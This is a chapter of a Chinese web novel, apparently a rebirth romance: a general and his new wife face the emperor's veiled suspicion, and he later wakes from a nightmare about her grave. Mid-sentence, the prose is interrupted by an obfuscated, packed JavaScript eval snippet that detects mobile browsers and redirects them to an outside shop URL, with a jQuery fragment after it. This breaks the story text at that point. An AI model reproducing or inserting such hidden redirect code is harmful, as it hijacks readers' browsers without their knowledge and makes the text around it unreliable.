殿内烛火映在她的脸上，将那张本就出众的脸，照得愈发明艳，为了配合那一身诰命服，她特意将自己妆化得成熟一些，眼角眉梢添了几分端庄沉静，以免有一种小孩穿大人衣服的违和感。 可此刻烛光一照，竟是恰到好处的相得益彰。 金丝绣纹衬着她微微泛红的脸颊，翟冠下那双眼睛清亮如水，却又沉静得不像这个年纪该有的模样。分明是一张年轻的脸，却自有一股说不出的气度，像是见过风雨，本就该站在这样的地方。 皇帝的目光落在她身上，微微一凝。 “霍爱卿，好福气，”声音带笑，听上去像是寻常的夸赞，可那笑意未达眼底，便让人品出几分说不清的深意。 “难怪贵妃也夸赞，今日一见，倒是贵妃保守，” 霍抉心下一凛，眼眸微闪，当即撩袍跪下，姚知韫也赶忙跟着跪伏于地。 “臣惶恐，这都是陛下成全，臣，叩谢陛下隆恩。”说罢，俯身叩首。 姚知韫垂首跪着，心里却飞快地转着念头。 贵妃？二皇子的生母，崔家的人。 她们从未见过面，又哪里当得了贵妃的夸赞？这话自然是皇上对霍抉的试探，定然的贵妃在皇上耳边说了什么，难道皇上怀疑霍抉与崔家暗通款曲？ 可若是疑心，又何必当面问出来？ 她还没想明白，霍抉已缓缓开口，他的声音不高不低，稳稳地落在殿中，听不出任何情绪。 “臣是粗人，当年得姚兄临终重托，说家中孤女年幼，让臣照拂一二，臣不过是遵故人之托，后蒙陛下赐婚，许臣以姚氏为妻，臣感激涕零，无以为报，臣只知道，臣的福气是陛下给的，臣的新妇是陛下赐的，臣这辈子，只认这个理。” 姚知韫听完，心下暗暗地赞了一声，不愧是霍抉，这话说的，滴水不漏，他在告诉皇上，他本是没什么心思的，只是得了她父亲的嘱托照顾一二，是皇上你非要赐婚的，如今娶了这么漂亮的新妇，他心里自是感激，其他人说什么，他不知道，满不在意。 既撇清了与崔家的关联，又把所有的恩典都归于皇上。一字一句，挑不出半点毛病。 殿内又恢复了沉静。 随即，皇上哈哈大笑，“霍爱卿，说笑了，平身，” 霍抉谢恩起身，转身对身后的高乔说，“去德仪宫传个话，就说朕留了霍爱卿。姚氏今日就不去给贵妃请安了。” 高乔躬身应诺，退了出去。 皇上留了膳，霍抉谢了恩，才带着姚知韫离了宫。 车轮辘辘，车内一片沉静。 霍抉攥着姚知韫的手，指节微微发紧，却始终没有说话，只是脸色阴沉得让姚知韫都觉得有些害怕。 贵妃为何会突然对韫儿起了心思，只是为了拉拢他？还是——另有所图？ 他不能不想二皇子做过那些事情，人前一副温润如玉，背地里他就是个畜生。 宋平懦弱，为了爵位，将韫儿送到了二皇子的床上。 后来他才知道，韫儿不是第一个，也不是最后一个， 二皇子府的后院里，藏着多少见不得人的勾当。那些朝臣的妻子，被强行霸占的，敢怒不敢言的，死于非命的——他一个一个查过去，光是死在床上的少女，就有四十多个。 他该早些知道的，可他知道的时候，他的韫儿已经死了。 想到这里，霍抉攥着姚知韫的手又紧了几分， 姚知韫的手被抓得生疼，她微微挣扎，却换来他更紧的禁锢，她抬起头，对上他的眼睛。 那双眼底，戾气翻涌，惊涛骇浪般的汹涌，像一头困在笼中的野兽，随时要挣脱而出。 姚知韫怔住了。 她从没见过他这副模样。 那眼底的戾气太浓了，浓得像化不开的墨，翻涌着，咆哮着，仿佛要把她整个人吞进去。她从未见过这样的霍抉——那个在她面前总是温和的、克制的、轻声唤她“韫儿”的人，此刻像是换了一个人，陌生得让她心头发颤。 他怎么了？她想不明白，只是因为贵妃夸赞了她，还是有别的原因？ 那眼底的恨与痛，太沉，太重，他的手还攥着她的，像是要将她的骨头捏碎。 她从未见过他这副模样，可她也知道，那恨不算对着她的，她忽然也就不那么怕了。 她抬起另一只手，轻轻覆上他攥着自己的那只手，她的手很软，很暖，那一刻，她能感觉到他微微地僵了一下。 “霍抉——”她轻轻地唤着他的名字，像一阵软软的风，吹进了那片翻涌的惊涛里。 霍抉僵住，他低头看着自己的手还死死攥着她，那白皙的皮肤被他攥出红痕，他的心被狠狠刺了一下，他猛地松开手。 “韫儿——”他声音涩得厉害，带着从未有过的慌乱，“我——” 他的目光一直落在红痕上，刺目得很，像无声的控诉，他伤了她。他伸出手，想碰触那片红痕，又不敢碰，手指悬在半空，顿了顿，最后还是收了回来。 眼底的戾气褪去，只剩下愧疚和心疼，浓得化不开。 姚知韫反手握住霍抉收回去的手，他的手还在发颤，指尖冰凉，她握紧了一些，但什么都没问。 霍抉只是看着她握着自己的那只手，像是怕他跑了似的，她的手那样的小，那样的软，攥着小小的拳头挤着放着他的掌心，他的手掌很大，能将她的手包裹起来。 轻轻一拉，将她拉进怀里，坐在腿上，将头靠在她的胸前，闭上了眼睛，心里那团翻涌的戾气，也被她一点一点地压了下去，手却一直在那片红痕上来回摩挲。 “疼吗？” “不疼。” 他抬起头，迎上她的眼睛，那里没有恐惧，没有躲闪，只有安静的等待，还有无尽的信任。 “韫儿——”他唤她，低沉沙哑。 “嗯？” 他沉默了片刻，喉结微微滚动，“以后，离赵鹤轩，离崔家，远一些。” 姚知韫没问为什么，只是点点头，应了一声，“好。” 霍抉看着她，眼睛清亮，心里涌上一股说不上的滋味，上辈子他没护住她，这辈子，他一定要护住她。 他将她环得更紧一些，“韫儿——”他的声音闷闷的，“我刚才——吓到你了？” 姚知韫靠在他的怀里，听着他逐渐沉稳的心跳，一下，又一下。 “有一点，” 霍抉的身子微微一僵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373590|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不过，”她唇角弯了弯，手指在他的胳膊上用力地掐了一下，“扯平了。” 霍抉没有说话，只是将她抱得更紧了些。 窗外，马车辘辘地往前走着，车内沉默着，却没了方才紧绷的氛围。 夜色深沉，内室烛火只留一盏昏黄的灯烛，烛光拢在帐外，淡淡的，柔柔的，那是她的习惯。 姚知韫睡得很沉，她躺在霍抉的怀里，呼吸均匀绵长，像只餍足的小猫。 忽然，她被猛地箍进一个□□的怀里，额头重重地撞上他的下颌，好疼。 姚知韫睁开眼睛，正想问些什么，却看见他的脸。 额角全是冷汗，脸色苍白得吓人，呼吸又急又乱。他的手死死压着她，像是怕她跑了似的。 “韫儿——韫儿——”他一声声唤着她的名字，声音哑得不像话，像是从很远很远的地方传来。 可没有人应他。 他面前是一座孤坟，倒掉的墓碑上刻着她的名字，冷冰冰的，那是他刻的，一笔一笔每一道都刻在他的心上，他跪在地上，用手一点一点扒着土，指甲翻飞，鲜血淋漓，他依旧没有停下，他不知道疼，也感觉不到疼。 终于扒开了坟墓，可里面什么都没有，连一具白骨都没有，他的韫儿，就是死了，也不愿意原谅他吗？要不然怎么连一具白骨都不愿留给他。 “不——”他喊不出声，那绝望堵在喉咙里，像一块烧红的炭，灼得他体无完肤。 姚知韫被他抱着，动弹不得，只能伸出手，摸到他的脸，冰凉凉的全是汗，眉头拧得死紧，嘴唇微微翕动着，不知在说什么。 “霍抉，”她提高了声音，摇了摇他。 他猛地睁开眼睛，那双眼睛失焦了片刻，慢慢地、慢慢地聚拢。可那里面全是恐惧，赤裸裸的恐惧，像一头被追到绝境的困兽。 这样的眼神，她在母亲的葬礼上也曾经看到过，她还记得，那天缟雾漫天，整个姚府都安静得让人害怕，她跪在灵堂，没有来吊唁的人，只有她一个人，守着那口漆黑的棺材。 他突然闯了进来，却在看到她的那一瞬间定住，就是用这样的眼神看着她，看了很久很久，到底多久她已经不记得了。 只记得那以后他就跪在她身边，陪着她送走了母亲。 那个时候，她以为他对她是怜悯，所以后来才那么照顾她，可后来她发现，不是，那不是怜悯，是一种失而复得，如今再想，他身上怕是藏着一个天大的秘密，是否如她一般？ “韫儿——？”他的声音沙哑，像是从嗓子眼里挤出来的。 姚知韫回过神，她伸出手，环住他的脖颈，轻拍他的后背， “我在——” 霍抉看着她，黑暗中，她的脸从模糊到清晰，一点一点，落进他眼睛里。他伸出手，颤抖着抚上她的脸——暖的，活的，会说话的。 是她，活生生的，如今的她，好好的，而且已经是他的妻子了，这辈子都属于他，不会再发生那样的事情了。 他一把将她揽进怀里，抱得死紧，姚知韫被他勒得有些疼，却没有挣扎。她只是靠在他胸口，听着那颗心在胸腔里狂跳，一下一下，仿佛随时要撞出来。依旧一下下拍着他的背，像哄小孩一样。